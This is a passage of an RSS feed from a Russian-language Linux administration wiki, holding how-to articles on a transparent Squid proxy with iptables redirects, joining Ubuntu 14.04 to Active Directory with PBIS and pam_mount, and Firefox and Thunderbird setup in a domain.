&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0433\u043e squid&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_\u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0433\u043e_squid&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;2233-2999&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit6&quot; id=&quot;настройка_squid&quot;&gt;Настройка squid&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Инициализируем базу сертификатов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /usr/lib/squid/security_file_certgen -c -s /var/lib/ssl_db -M 4MB&lt;/pre&gt;

&lt;p&gt;
Прописываем в конфигурационный файл &lt;strong&gt;squid&lt;/strong&gt;&amp;#039;а такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;acl localnet src 192.168.0.0/16         #local Networks
acl pvenet src 192.168.122.0/24         #Proxmox local network
acl dockernet src 172.0.0.0/8           #Docker containers

acl SSL_ports port 443
acl CONNECT method CONNECT

dns_nameservers 127.0.0.53

http_access deny CONNECT !SSL_ports

#http_access allow localhost manager
#http_access deny manager

http_access allow localnet
http_access allow dockernet
http_access allow pvenet
http_access allow localhost
#http_access allow all

#transparent HTTP proxy (option intercept)
http_port 3128 intercept

visible_hostname 127.0.0.1:80

#transparent HTTPS proxy
https_port 3129 intercept ssl-bump options=ALL:NO_SSLv3:NO_SSLv2 connection-auth=off cert=/etc/squid/squid-ca-cert-key.pem

sslproxy_cert_error allow all
sslproxy_flags DONT_VERIFY_PEER

# ssl_bump option splice just tunneling connection
ssl_bump splice all

sslcrtd_program /usr/lib/squid/security_file_certgen -s /var/lib/ssl_db -M 4MB

coredump_dir /var/spool/squid
refresh_pattern ^ftp:           1440    20%     10080
refresh_pattern ^gopher:        1440    0%      1440
refresh_pattern -i (/cgi-bin/|\?) 0     0%      0
refresh_pattern .               0       20%     4320
cache_dir aufs /var/spool/squid 20000 49 256
maximum_object_size 61440 KB
minimum_object_size 3 KB

cache_swap_low 90
cache_swap_high 95
maximum_object_size_in_memory 512 KB
memory_replacement_policy lru
logfile_rotate 4

cache_peer 10.77.70.7 parent 3128 0 no-query default login=login:password
#login=PASSTHRU
#login=username:password
never_direct allow all&lt;/pre&gt;

&lt;p&gt;
перезапускаем squid:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service squid restart  &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 squid&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_squid&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;3000-4899&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit7&quot; id=&quot;настройка_iptables&quot;&gt;настройка iptables&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Перенаправляем все локальные исходящие подключения к портам 80 и 443 на локальный &lt;strong&gt;squid&lt;/strong&gt;, за исключением локальных подключений и подключений к локальным сетям:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo iptables -t nat -A PREROUTING -d 10.77.0.0/16 -j RETURN
sudo iptables -t nat -A PREROUTING -d 0.0.0.0/8 -j RETURN
sudo iptables -t nat -A PREROUTING -d 127.0.0.0/8 -j RETURN&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sudo iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 3128
sudo iptables -t nat -A PREROUTING -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 3129&lt;/pre&gt;

&lt;p&gt;
Устанавливаем &lt;strong&gt;iptables-persistent&lt;/strong&gt; для автоматического применения правил после рестара:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install iptables-persistent&lt;/pre&gt;

&lt;p&gt;
на вопрос о сохранении текущих правил отвечаем положительно. Правила лежат в файлике &lt;strong&gt;/etc/iptables/rules.v4&lt;/strong&gt;. &lt;br/&gt;

В дальнейшем сохраняем правила так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo iptables-save | sudo tee /etc/iptables/rules.v4&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 iptables&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_iptables&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;4900-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 19 Nov 2020 20:29:35 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu-14-04-kde-изменить-разрешение-монитора-screen-resolution</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu-14-04-kde-%D0%B8%D0%B7%D0%BC%D0%B5%D0%BD%D0%B8%D1%82%D1%8C-%D1%80%D0%B0%D0%B7%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BC%D0%BE%D0%BD%D0%B8%D1%82%D0%BE%D1%80%D0%B0-screen-resolution</link>
            <description>
&lt;p&gt;
Устанавливаемый в новых версиях &lt;strong&gt;Kubuntu&lt;/strong&gt; по-умолчанию пакет &lt;strong&gt;kscreen&lt;/strong&gt; работает хорошо, полагаясь на автоматическое определение параметров монитора, но в его настройках мне не удалось найти опции для изменения разрешения экрана. А это бывает нужно при использовании “виртуального” железа.&lt;br/&gt;

К счастью, в репозитории есть старый пакет &lt;strong&gt;kde-workspace-randr&lt;/strong&gt;, который нормально сосуществует с новым.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install kde-workspace-randr&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;&lt;abbr title=&quot;Graphical User Interface&quot;&gt;GUI&lt;/abbr&gt;&lt;/strong&gt;-панель настроек старого пакета появляется там же в &lt;strong&gt;System Settings → Display and Monitor&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Mar 2019 07:18:11 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu-14-04-в-домене-active-directory-windows</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu-14-04-%D0%B2-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D0%B5-active-directory-windows</link>
            <description>
&lt;p&gt;
Итак на моем рабочем компе навернулась Windows 7 и я решил заменить ее на Ubuntu 14.04.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Установил Ubuntu 14.04 Server x64, затем установил KDE desktop:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install kubuntu-dekstop&lt;/pre&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;введение_в_домен_ad&quot;&gt;Введение в домен AD&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Сначала нужно сделать несколько подготовительных вещей.&lt;br/&gt;

1. Убедиться что имя локального пользователя Ubuntu не совпадает с именем доменного админа.&lt;br/&gt;

2. Прописать &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt; и &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;-суффикс в настройках сетевого соединения. В новых версиях Ubuntu эти параметры задаются для сетевых интерфейсов и прописываются в &lt;strong&gt;/etc/network/interfaces&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# The primary network interface
auto eth0
iface eth0 inet static
address _IP_ADDRESS_
netmask _NETMASK_
gateway _GW_IP_ADDRESS_
dns-nameservers IP_DNS1_ _IP_DNS2_
dns-domain domain.name
dns-search domain.name&lt;/pre&gt;

&lt;p&gt;
Теперь можно установить необходимое ПО и ввести Ubuntu в домен.&lt;br/&gt;

Я использовал &lt;strong&gt;Power Broker Open Edition&lt;/strong&gt; - &lt;a href=&quot;http://download1.beyondtrust.com/Technical-Support/Downloads/PowerBroker-Identity-Services-Open-Edition/?Pass=True&quot; class=&quot;urlextern&quot; title=&quot;http://download1.beyondtrust.com/Technical-Support/Downloads/PowerBroker-Identity-Services-Open-Edition/?Pass=True&quot; rel=&quot;ugc nofollow&quot;&gt;http://download1.beyondtrust.com/Technical-Support/Downloads/PowerBroker-Identity-Services-Open-Edition/?Pass=True&lt;/a&gt;.&lt;br/&gt;

Этот пакет - коммерческий аналог &lt;strong&gt;likewise-open&lt;/strong&gt;. Я ставлю бесплатную версию, которая несколько менее функциональна, чем платная - частности она не поддерживает GPO.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Скачал и установил:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://download1.beyondtrust.com/Technical-Support/Downloads/PowerBroker-Identity-Services-Open-Edition/pbiso/850/pbis-open-8.5.0.153.linux.x86_64.deb.sh
chmod a+x pbis-open-8.5.0.153.linux.x86_64.deb.sh
sudo ./pbis-open-8.5.0.153.linux.x86_64.deb.sh&lt;/pre&gt;

&lt;p&gt;
При установке на вопрос о “legacy links” я ответил &lt;strong&gt;No&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
После установки сразу можно вводить машину в домен AD:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /opt/pbis/bin/domainjoin-cli join --disable ssh domainName ADjoinAccount&lt;/pre&gt;

&lt;p&gt;
Тут &lt;strong&gt;domainName&lt;/strong&gt; - имя домена (должно нормально резолвиться), а &lt;strong&gt;ADjoinAccount&lt;/strong&gt; - имя доменной учетной записи, имеющей права на ввод машины в домен.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Теперь нужно немного отредактировать файлик &lt;strong&gt;/etc/pam.d/common-session&lt;/strong&gt;. Там находим строчку &lt;strong&gt;session sufficient pam_lsass.so&lt;/strong&gt;, комментируем ее и в самый конец файла дописываем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;session [success=ok default=ignore] pam_lsass.so&lt;/pre&gt;

&lt;p&gt;
В конец файла эту строку нужно помещать для того, чтобы нормально отрабатывали опциональные модули, а  без &lt;strong&gt;success=ok default=ignore&lt;/strong&gt; пользователя будет пускать в систему, но KDE можно будет запустить только после логина вручную.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
После этого можно входить в систему с учетной записью, но по умолчанию KDE не предлагает вводить имя пользователя, а предлагает выбрать пользователя машкой и вводить пароль.&lt;br/&gt;

Отключить такое безобразие можно:&lt;br/&gt;

“Пуск” → Computer → System Settings → Login Screen (Light GDM). &lt;br/&gt;

Там выбираем тему &lt;strong&gt;Classic&lt;/strong&gt;.&lt;br/&gt;

Все. &lt;br/&gt;

Теперь можно перезагрузиться и логиниться с доменной учетной записью.&lt;br/&gt;

ВВодить имя можно как в виде &lt;strong&gt;DOMAIN\username&lt;/strong&gt;, так и в виде &lt;strong&gt;Username@domain.local&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Все. Дальше можно работать в домене. :) Логиниться с учетной записью вида: &lt;strong&gt;DOMAIN\user&lt;/strong&gt; как локально, так и по SSH.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 \u0434\u043e\u043c\u0435\u043d AD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u0432\u0435\u0434\u0435\u043d\u0438\u0435_\u0432_\u0434\u043e\u043c\u0435\u043d_ad&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;307-4278&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;некоторые_дополнительные_настройки&quot;&gt;Некоторые дополнительные настройки&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Список настраиваемых параметров PBIS можно получить командой:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/opt/pbis/bin/config --list
[Eventlog]
        AllowDeleteTo
        AllowReadTo
        AllowWriteTo
        MaxDiskUsage
        MaxEventLifespan
        MaxNumEvents
[Lsass]
        DomainSeparator
        SpaceReplacement
        EnableEventlog
        LogInvalidPasswords
        Providers
[Lsass - PAM]
        DisplayMotd
        PAMLogLevel
        UserNotAllowedError
[Lsass - Active Directory provider]
        AssumeDefaultDomain
        CreateHomeDir
        CreateK5Login
        SyncSystemTime
        TrimUserMembership
        LdapSignAndSeal
        LogADNetworkConnectionEvents
        NssEnumerationEnabled
        NssGroupMembersQueryCacheOnly
        NssUserMembershipQueryCacheOnly
        RefreshUserCredentials
        CacheEntryExpiry
        DomainManagerCheckDomainOnlineInterval
        DomainManagerUnknownDomainCacheTimeout
        MachinePasswordLifespan
        MemoryCacheSizeCap
        HomeDirPrefix
        HomeDirTemplate
        RemoteHomeDirTemplate
        HomeDirUmask
        LoginShellTemplate
        SkeletonDirs
        UserDomainPrefix
        DomainManagerIgnoreAllTrusts
        DomainManagerIncludeTrustsList
        DomainManagerExcludeTrustsList
        RequireMembershipOf
        SmartcardEnabled
        SmartcardRequiredForLogin
[Lsass - Local provider]
        Local_AcceptNTLMv1
        Local_HomeDirTemplate
        Local_HomeDirUmask
        Local_LoginShellTemplate
        Local_SkeletonDirs
[User Monitor]
        UserMonitorCheckInterval
[System Initialization]
        LsassAutostart
        EventlogAutostart
        GpagentAutostart&lt;/pre&gt;

&lt;p&gt;
 &lt;br/&gt;

Чтобы не добавлять название домена к имени учетной записи при регистрации достаточно активировать “AssumeDefaultDomain”.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /opt/pbis/bin/config AssumeDefaultDomain true&lt;/pre&gt;

&lt;p&gt;
Проверить текущую установку можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ sudo /opt/pbis/bin/config --detail AssumeDefaultDomain
$ sudo /opt/pbis/bin/config --show AssumeDefaultDomain&lt;/pre&gt;
&lt;div class=&quot;table sectionedit3&quot;&gt;&lt;table class=&quot;inline&quot;&gt;
	&lt;tr class=&quot;row0&quot;&gt;
		
	&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;table&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;table&amp;quot;,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;6558-6584&amp;quot;} --&gt;
&lt;p&gt;
При использовании этой опции в &lt;strong&gt;/etc/sudoers&lt;/strong&gt; и в &lt;strong&gt;/etc/passwd&lt;/strong&gt; - с именем домена (pre-Windows200) в формате &lt;strong&gt;DOMAIN_NAME\username&lt;/strong&gt; с одним слешем. В обоих файлах должно быть одинаково. Если добавлять только в &lt;strong&gt;sudoers&lt;/strong&gt;, то надо добавлять без имени домена.^&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Также можно добавить доменного пользователя в файлик &lt;strong&gt;/etc/sudoers&lt;/strong&gt;, для того, чтобы работал &lt;strong&gt;sudo&lt;/strong&gt;.&lt;br/&gt;

Открываем &lt;strong&gt;/etc/sudoers&lt;/strong&gt; и добавляем туда:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;DOMAIN\\username     ALL=(ALL:ALL) ALL&lt;/pre&gt;

&lt;p&gt;
Тут нужно обратить внимание на двойной слеш в качестве разделителя &lt;strong&gt;\\&lt;/strong&gt;. Без него не работает.&lt;br/&gt;

Например, для добавления доменных админов нужно добавить строку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;%DOMAIN\\domain^admins     ALL=(ALL:ALL) ALL&lt;/pre&gt;

&lt;p&gt;
Обращаем внимание на двойной слеш &lt;strong&gt;\\&lt;/strong&gt; и на &lt;strong&gt;^&lt;/strong&gt; вместо пробела.
&lt;/p&gt;

&lt;p&gt;
Еще может понадобиться заменить &lt;strong&gt;shell&lt;/strong&gt; (/bin/sh), устанавливаемый по-умолчанию на &lt;strong&gt;/bin/bash&lt;/strong&gt;.&lt;br/&gt;

Чтобы это сделать выполняем:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /opt/pbis/bin/config LoginShellTemplate /bin/bash&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435_\u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435_\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;4279-8015&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;автоматическое_монтирование_ресурсов_-_pammount&quot;&gt;Автоматическое монтирование ресурсов - pam.mount&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Теперь можно настроить автоматическое монтирование сетевых ресурсов, например папки с профилем пользователя.&lt;br/&gt;

Тут возникает небольшое затруднение. Монтировать ресурсы можно только от имени суперпользователя. Поэтому нельзя просто положить в rc.local строку вида &lt;strong&gt;mount -t cifs //server /mountpoint&lt;/strong&gt;. &lt;br/&gt;

К счастью есть PAM-модуль &lt;strong&gt;pam_mount&lt;/strong&gt;, который позволяет монтировать ресурсы с повышенными привилегиями на этапе входа пользователя в систему. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Устанавливаем модуль:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install libpam-mount&lt;/pre&gt;

&lt;p&gt;
Оказалось, что с установками по-умолчанию модуль &lt;strong&gt;pam_mount.so&lt;/strong&gt; не монтирует ресурсы. Для того, чтобы модуль работал корректно, нужно отредактировать файл &lt;strong&gt;/etc/pam.d/common-session&lt;/strong&gt;. &lt;br/&gt;

По-умолчанию, модуль &lt;strong&gt;pam_mount.so&lt;/strong&gt; имеет флаг &lt;strong&gt;optional&lt;/strong&gt; и располагается в файле &lt;strong&gt;/etc/pam.d/common-session&lt;/strong&gt; после модуля &lt;strong&gt;pam_lsass.so&lt;/strong&gt;, который имеет флаг &lt;strong&gt;sufficient&lt;/strong&gt;. Таким образом модуль опциональный модуль &lt;strong&gt;pam_mount.so&lt;/strong&gt;  игнорируется, при корректном прохождении  достаточного для аутентификации модуля &lt;strong&gt;pam_lsass.so&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Дальше конфигурируем  &lt;strong&gt;pam_mount&lt;/strong&gt;. При входе пользователя обрабатываются два файла - глобальный &lt;strong&gt;/etc/security/pam_mount.conf.xml&lt;/strong&gt; и файл &lt;strong&gt;~/.pam_mount.conf.xml&lt;/strong&gt; с ресурсами, монтируемыми индивидуально каждому пользователю.&lt;br/&gt;

Этот файл довольно неплохо откомментирован, поэтому подробно описывать не имеет смысла и реально нужно редактировать единственную строку:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;lt;volume fstype=&amp;quot;cifs&amp;quot; server=&amp;quot;servername&amp;quot; path=&amp;quot;shared&amp;quot; mountpoint=&amp;quot;~/shared&amp;quot; options=&amp;quot;nodev,nosuid&amp;quot;/&amp;gt;&lt;/pre&gt;

&lt;p&gt;
Соотвественно отредактировать параметры &lt;strong&gt;server&lt;/strong&gt;, &lt;strong&gt;path&lt;/strong&gt; и &lt;strong&gt;mountpoint&lt;/strong&gt;.&lt;br/&gt;

При этом, &lt;strong&gt;path&lt;/strong&gt; не должне начинаться с “/”, а сразу указывать на папку, но при этом может указывать на вложенную папку. То есть если в Windows адрес файла: &lt;strong&gt;&lt;a href=&quot;file://///server/shared/directory1/file&quot; class=&quot;windows&quot; title=&quot;\\server\shared\directory1\file&quot;&gt;\\server\shared\directory1\file&lt;/a&gt;.txt&lt;/strong&gt;, то для того чтобы он был виден в смонтированной папке - &lt;strong&gt;path&lt;/strong&gt; должен быть &lt;strong&gt;path=“shared\directory1”&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 - pam.mount&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435_\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435_\u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432_-_pammount&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:9,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;8016-11157&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;pam_mount_и_сессия_ssh&quot;&gt;Pam_mount и сессия SSH&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Для того, чтобы &lt;strong&gt;pam_mount&lt;/strong&gt; корректно работал в сессии SSH  нужно отредактировать конфигурацию сервера SSH - файл &lt;strong&gt;/etc/ssh/sshd_config&lt;/strong&gt;.&lt;br/&gt;

Параметру &lt;strong&gt;ChallengeResponseAuthentication&lt;/strong&gt; дать значение &lt;strong&gt;no&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Без этой правки, из-за особенностей работы OpenSSH при подключении по SSH ресурсы не монтируются с помощью &lt;strong&gt;pam_mount&lt;/strong&gt; с ошибкой:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;conv-&amp;gt;conv(...): Conversation error&lt;/pre&gt;

&lt;p&gt;
Некоторые подробности тут:&lt;br/&gt;

&lt;a href=&quot;http://community.centrify.com/t5/DirectControl-Express-for-UNIX/Try-to-auto-mount-cifs-home-dir-on-Ubuntu-using-Centrify-AD-Pam/td-p/8640&quot; class=&quot;urlextern&quot; title=&quot;http://community.centrify.com/t5/DirectControl-Express-for-UNIX/Try-to-auto-mount-cifs-home-dir-on-Ubuntu-using-Centrify-AD-Pam/td-p/8640&quot; rel=&quot;ugc nofollow&quot;&gt;http://community.centrify.com/t5/DirectControl-Express-for-UNIX/Try-to-auto-mount-cifs-home-dir-on-Ubuntu-using-Centrify-AD-Pam/td-p/8640&lt;/a&gt;&lt;br/&gt;

&lt;a href=&quot;https://bugzilla.mindrot.org/show_bug.cgi?id=926#c35&quot; class=&quot;urlextern&quot; title=&quot;https://bugzilla.mindrot.org/show_bug.cgi?id=926#c35&quot; rel=&quot;ugc nofollow&quot;&gt;https://bugzilla.mindrot.org/show_bug.cgi?id=926#c35&lt;/a&gt;&lt;br/&gt;

&lt;a href=&quot;https://bugzilla.mindrot.org/show_bug.cgi?id=688&quot; class=&quot;urlextern&quot; title=&quot;https://bugzilla.mindrot.org/show_bug.cgi?id=688&quot; rel=&quot;ugc nofollow&quot;&gt;https://bugzilla.mindrot.org/show_bug.cgi?id=688&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Также, это неприятное обстоятельство можно обойти выполнив в сессии SSH команду:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;su -l $USER&lt;/pre&gt;

&lt;p&gt;
То есть фактически залогинившись в сессии SSH еще раз с именем текущего пользователя. &lt;br/&gt;

В этому случае OpenSSH не принимает участия создании сессии и ресурсы монтируются. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Pam_mount \u0438 \u0441\u0435\u0441\u0441\u0438\u044f SSH&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;pam_mount_\u0438_\u0441\u0435\u0441\u0441\u0438\u044f_ssh&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:11,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;11158-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 22 Jul 2019 10:16:56 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu-14-04-в-домене-ad-аутентификация-пользователеи-firefox- ...</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu-14-04-%D0%B2-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D0%B5-ad-%D0%B0%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F-%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B5%D0%B8-firefox-%D1%81-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D0%BD%D0%BE%D0%B8-%D1%83%D1%87%D0%B5%D1%82%D0%BD%D0%BE%D0%B8-%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D1%8C%D1%8E</link>
            <description>
&lt;p&gt;
В нашей компании используется авторизация доменных пользователей AD на корпоративных сайтах. &lt;br/&gt;

Я ввел свою рабочую станцию &lt;strong&gt;Ubuntu 14.04&lt;/strong&gt; в домен и мне захотелось, чтобы Firefox прозрачно авторизовал меня на корпоративных сайтах.&lt;br/&gt;

Все оказалось довольно несложно. &lt;br/&gt;

&lt;br/&gt;

Для включения прозрачной авторизации нужно открыть в Firefox на новой вкладке &lt;strong&gt;about:config&lt;/strong&gt;.&lt;br/&gt;

Отфильтровать значения по названию: &lt;strong&gt;network.negotiate-auth&lt;/strong&gt;&lt;br/&gt;

Тут нас интересуют два параметра:  &lt;strong&gt;network.negotiate-auth.delegation-uris&lt;/strong&gt; и &lt;strong&gt;network.negotiate-auth.trusted-uris&lt;/strong&gt;.&lt;br/&gt;

Параметру &lt;strong&gt;network.negotiate-auth.delegation-uris&lt;/strong&gt; задаем значение: &lt;strong&gt;&lt;a href=&quot;http://,https://&quot; class=&quot;urlextern&quot; title=&quot;http://,https://&quot; rel=&quot;ugc nofollow&quot;&gt;http://,https://&lt;/a&gt;&lt;/strong&gt;&lt;br/&gt;

Параметру &lt;strong&gt;network.negotiate-auth.trusted-uris&lt;/strong&gt; прописываем сайты, на которых будем авторизовываться: &lt;strong&gt;localsite1,localsite2&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu-14-04-в-домене-настроика-thunderbird-для-работы-с-ms-exchange</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu-14-04-%D0%B2-%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D0%B5-%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B8%D0%BA%D0%B0-thunderbird-%D0%B4%D0%BB%D1%8F-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B-%D1%81-ms-exchange</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;получение_почты&quot;&gt;Получение почты&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
После ввода в домен обычно возникает потребность получать почту с корпоративного сервера MS Exchange.&lt;br/&gt;

